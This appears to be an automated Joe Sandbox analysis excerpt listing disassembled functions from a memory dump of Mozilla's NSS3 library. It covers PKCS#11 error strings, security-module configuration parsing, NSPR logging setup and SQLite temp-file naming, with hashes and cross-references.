CKR_OPERATION_CANCEL_FAILED, xrefs: 6C5D1F77
CKR_PIN_INCORRECT, xrefs: 6C5D1D92
rv = 0x%x, xrefs: 6C5D2312
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C5D1F8B
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C5D232E
CKR_WRAPPED_KEY_INVALID, xrefs: 6C5D1FB5
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C5D2275
CKR_PIN_INVALID, xrefs: 6C5D2057
CKR_NEXT_OTP, xrefs: 6C5D222F
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C5D22FF
CKR_MUTEX_NOT_LOCKED, xrefs: 6C5D2225
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C5D204D
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C5D218D
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C5D2179
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C5D226B
CKR_FUNCTION_CANCELED, xrefs: 6C5D1E73
CKR_PIN_LEN_RANGE, xrefs: 6C5D2061

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 10a0d59f6efcd4160d1d92df7090e1cc84f2b19c1d941aa0f9d0e7e9ab92766e
Instruction ID: 63ba7211f91cf8ec7efa9d4f2084f0a857d6cc002178598e9a60f2b63c2c7f7c
Opcode Fuzzy Hash: 10a0d59f6efcd4160d1d92df7090e1cc84f2b19c1d941aa0f9d0e7e9ab92766e
Instruction Fuzzy Hash: 1C61463064F345C6EA1C8C4C8DAE36D31249B4B314F638937F1828EE60D695FE92469F

Function 6C605DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C605E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C605E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C605E5C
free.MOZGLUE(00000000), ref: 6C605E7E
free.MOZGLUE(00000000), ref: 6C605E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C605EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C605EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C605ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C605EF0
free.MOZGLUE(00000000), ref: 6C605F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C605F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C605F5B
free.MOZGLUE(00000000), ref: 6C605F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C605FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C605FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C605FC4
free.MOZGLUE(00000000), ref: 6C605FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C605FE9
free.MOZGLUE(00000000), ref: 6C605FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C60600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C606027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C60605A
PR_smprintf.NSS3(6C6DAAF9,00000000), ref: 6C60606A
free.MOZGLUE(00000000), ref: 6C60607C
free.MOZGLUE(00000000), ref: 6C60609A
free.MOZGLUE(00000000), ref: 6C6060B2
free.MOZGLUE(?), ref: 6C6060CE

Strings

configDir=, xrefs: 6C605F9D
pkcs11.txt, xrefs: 6C605F47, 6C605F7C, 6C60603A, 6C606053
flags, xrefs: 6C605E3A, 6C605EC6, 6C605F30
secmod.db, xrefs: 6C605EA0
secmod=, xrefs: 6C605FB1
forceSecmodChoice, xrefs: 6C605F55
noModDB, xrefs: 6C605EEA
%s/%s, xrefs: 6C606055
readOnly, xrefs: 6C605E56

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: e58d0417c2f2e4d650fc2710d3c6fac37e5389d8d6c6036633df4daaa5321ea7
Instruction ID: ec1b34a62526a6bfce89b3aa63f231ca34dceda7bf5993e368f2a441bd69d319
Opcode Fuzzy Hash: e58d0417c2f2e4d650fc2710d3c6fac37e5389d8d6c6036633df4daaa5321ea7
Instruction Fuzzy Hash: A491FAF0B042055BEF148F259E85BAA3BA49F0634CF080060EC56BBB42E735D955CBAE

Function 6C591D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C591DA3

Part of subcall function 6C6698D0: calloc.MOZGLUE(00000001,00000084,6C590936,00000001,?,6C59102C), ref: 6C6698E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C591DB2

Part of subcall function 6C591240: TlsGetValue.KERNEL32(00000040,?,6C59116C,NSPR_LOG_MODULES), ref: 6C591267
Part of subcall function 6C591240: EnterCriticalSection.KERNEL32(?,?,?,6C59116C,NSPR_LOG_MODULES), ref: 6C59127C
Part of subcall function 6C591240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C59116C,NSPR_LOG_MODULES), ref: 6C591291
Part of subcall function 6C591240: PR_Unlock.NSS3(?,?,?,?,6C59116C,NSPR_LOG_MODULES), ref: 6C5912A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C591DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C591E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C591EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C591ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C591EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C591F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C591F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C591F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C591F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C591F83
PR_SetLogFile.NSS3(00000000), ref: 6C591FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C591FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C591FCB
free.MOZGLUE(00000000), ref: 6C591FD2

Strings

Unable to create nspr log file '%s', xrefs: 6C591FB3
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C591E27
sync, xrefs: 6C591E46
bufsize, xrefs: 6C591E9B
timestamp, xrefs: 6C591EC4
NSPR_LOG_MODULES, xrefs: 6C591DAD
, %n, xrefs: 6C591E6B
NSPR_LOG_FILE, xrefs: 6C591F69
all, xrefs: 6C591F0E
append, xrefs: 6C591EE6

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 871f5aa54554b66dc9768091581150dd4411de3a1aedde21e1ffbd4748674476
Instruction ID: d27c6cc985749034781fc72dd5ac22dbcf086d3311ca5511e0602e4c9fd52133
Opcode Fuzzy Hash: 871f5aa54554b66dc9768091581150dd4411de3a1aedde21e1ffbd4748674476
Instruction Fuzzy Hash: 6C51A2B1E042A99BDF00DBE5DD44B9F7BBCAF01348F040568E816EBA40E770E518CB99

Function 6C676E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C52CA30: EnterCriticalSection.KERNEL32(?,?,?,6C58F9C9,?,6C58F4DA,6C58F9C9,?,?,6C55369A), ref: 6C52CA7A
Part of subcall function 6C52CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C52CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C53BE66), ref: 6C676E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C53BE66), ref: 6C676E98
sqlite3_snprintf.NSS3(?,00000000,6C6DAAF9,?,?,?,?,?,?,6C53BE66), ref: 6C676EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C53BE66), ref: 6C676ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C53BE66), ref: 6C676EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C53BE66), ref: 6C676F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C53BE66), ref: 6C676F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C53BE66), ref: 6C676F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C53BE66), ref: 6C676FA6
sqlite3_snprintf.NSS3(?,00000000,6C6DAAF9,00000000,?,?,?,?,?,?,?,6C53BE66), ref: 6C676FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C53BE66), ref: 6C676FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C53BE66), ref: 6C676FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C53BE66), ref: 6C677014
sqlite3_free.NSS3(00000000,?,?,?,?,6C53BE66), ref: 6C67701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C53BE66), ref: 6C677030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C53BE66), ref: 6C67705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C53BE66), ref: 6C677079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C53BE66), ref: 6C677097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C53BE66), ref: 6C6770A0

Strings

winGetTempname4, xrefs: 6C677046
winGetTempname1, xrefs: 6C67708F
mz_etilqs_, xrefs: 6C676F18
Pkl, xrefs: 6C6770A8
winGetTempname5, xrefs: 6C677071
winGetTempname2, xrefs: 6C6770C4

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pkl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3601446709
Opcode ID: 3a089268d266ed07862952d471995daeccacb8907521b1eb29c68c31ea3af231
Instruction ID: a0f3b0525245a006b6de738ad98f1cd0e664ab05cf9f21975ed1831d13384dc4
Opcode Fuzzy Hash: 3a089268d266ed07862952d471995daeccacb8907521b1eb29c68c31ea3af231
Instruction Fuzzy Hash: 88514AB1A042116BE72196309C55BFB36569BD3318F144938E80597BC2FB29E91EC2FA

Function 6C5D8E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C5D8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D8EB3

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C5D8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C5D8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D8F29
PR_LogPrint.NSS3(?,00000000), ref: 6C5D8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C5D8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D8F80
PR_LogPrint.NSS3(?,00000000), ref: 6C5D8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C5D8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C5D8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C5D9047

Strings

nkl, xrefs: 6C5D8FEC, 6C5D9023
pulWrappedKeyLen = 0x%p, xrefs: 6C5D8FC8
pWrappedKey = 0x%p, xrefs: 6C5D8FAD
hSession = 0x%x, xrefs: 6C5D8E8E, 6C5D8E9E
*pulWrappedKeyLen = 0x%x, xrefs: 6C5D9042
(CK_INVALID_HANDLE), xrefs: 6C5D8EAC, 6C5D8F1F, 6C5D8F79
hWrappingKey = 0x%x, xrefs: 6C5D8F01, 6C5D8F11
hKey = 0x%x, xrefs: 6C5D8F5B, 6C5D8F6B
pMechanism = 0x%p, xrefs: 6C5D8EE0
C_WrapKey, xrefs: 6C5D8E71

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nkl
API String ID: 1003633598-1410028101
Opcode ID: af72ca7f8c7be015a257cc9a34f9132fd86702581f38b76daa1dd38c565f2746
Instruction ID: 90890a0483fd0a745b031e72c9ca1c423ed2a5f54dda8ebd5f4d56aee9442871
Opcode Fuzzy Hash: af72ca7f8c7be015a257cc9a34f9132fd86702581f38b76daa1dd38c565f2746
Instruction Fuzzy Hash: C65196B2701206EBDB009F54DD48F9A7B76EB8631CF055429F5086BA12DF30A918CB9F

Function 6C604FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000,00000000,00000001), ref: 6C605009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2,00000000), ref: 6C605049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C60505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C605071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C605089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6050A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6050B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B75C2), ref: 6C6050CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6050D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6050F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C605103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C605145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C605153
free.MOZGLUE(?), ref: 6C60516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C60517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C605195

Strings

nss=, xrefs: 6C605083
name=, xrefs: 6C605057
parameters=, xrefs: 6C60506B
config=, xrefs: 6C60509B
library=, xrefs: 6C605043

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 9c9123a9aad23ef357ae27baaf6f1477b7a01772dae5cf20380a1140f8b3d3ef
Instruction ID: 92c19cdb05fbd24b4fc9144e278acba8abec68665e11cddc978ad0b21b74b61f
Opcode Fuzzy Hash: 9c9123a9aad23ef357ae27baaf6f1477b7a01772dae5cf20380a1140f8b3d3ef
Instruction Fuzzy Hash: B351A6B5B012056BEB14DF25DD41AAE37A89F16348F140060EC16F7B42E735E919CBBE

Function 6C604C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C5F4F51,00000000), ref: 6C604C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C5F4F51,00000000), ref: 6C604C5B
PR_smprintf.NSS3(6C6DAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C5F4F51,00000000), ref: 6C604C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C5F4F51,00000000), ref: 6C604CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C604CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C604CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C604D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C5F4F51,00000000), ref: 6C604D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C5F4F51,00000000), ref: 6C604D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C604D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C604DA2
free.MOZGLUE(?), ref: 6C604DB9
free.MOZGLUE(00000000), ref: 6C604DCF

Strings

0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C604D9D
%s,%s, xrefs: 6C604C4B
rust, xrefs: 6C604D22
rootFlags, xrefs: 6C604D47
slotFlags, xrefs: 6C604D34
0x%08lx=[%s %s], xrefs: 6C604D80
any, xrefs: 6C604C96
ootT, xrefs: 6C604D1A
timeout, xrefs: 6C604C91
every, xrefs: 6C604CA1

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 54e15545154115c71b465d120fee82b12c0e0ea7622ed202843044031a1fa3b6
Instruction ID: b9506f5ee95d7ef3ceb5e457bf1d2160f036c7c4286c3b94f4ddb360e2d20f73
Opcode Fuzzy Hash: 54e15545154115c71b465d120fee82b12c0e0ea7622ed202843044031a1fa3b6
Instruction Fuzzy Hash: 8D417FB1A0014167DB315F159D84ABB36B5AFA330CF094124E8166BB41E771E924C7DF

Function 6C5E6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C5E6943
Part of subcall function 6C5E6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C5E6957
Part of subcall function 6C5E6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C5E6972
Part of subcall function 6C5E6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C5E6983
Part of subcall function 6C5E6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C5E69AA
Part of subcall function 6C5E6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C5E69BE
Part of subcall function 6C5E6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C5E69D2
Part of subcall function 6C5E6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C5E69DF
Part of subcall function 6C5E6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C5E6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C5E6D8C
free.MOZGLUE(00000000), ref: 6C5E6DC5
free.MOZGLUE(?), ref: 6C5E6DD6
free.MOZGLUE(?), ref: 6C5E6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C5E6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5E6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5E6E72
free.MOZGLUE(?), ref: 6C5E6EA7
free.MOZGLUE(?), ref: 6C5E6EC4
free.MOZGLUE(?), ref: 6C5E6ED5
free.MOZGLUE(00000000), ref: 6C5E6EE3
free.MOZGLUE(?), ref: 6C5E6EF4
free.MOZGLUE(?), ref: 6C5E6F08
free.MOZGLUE(00000000), ref: 6C5E6F35
free.MOZGLUE(?), ref: 6C5E6F44
free.MOZGLUE(?), ref: 6C5E6F5B
free.MOZGLUE(00000000), ref: 6C5E6F65

Part of subcall function 6C5E6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C5E781D,00000000,6C5DBE2C,?,6C5E6B1D,?,?,?,?,00000000,00000000,6C5E781D), ref: 6C5E6C40
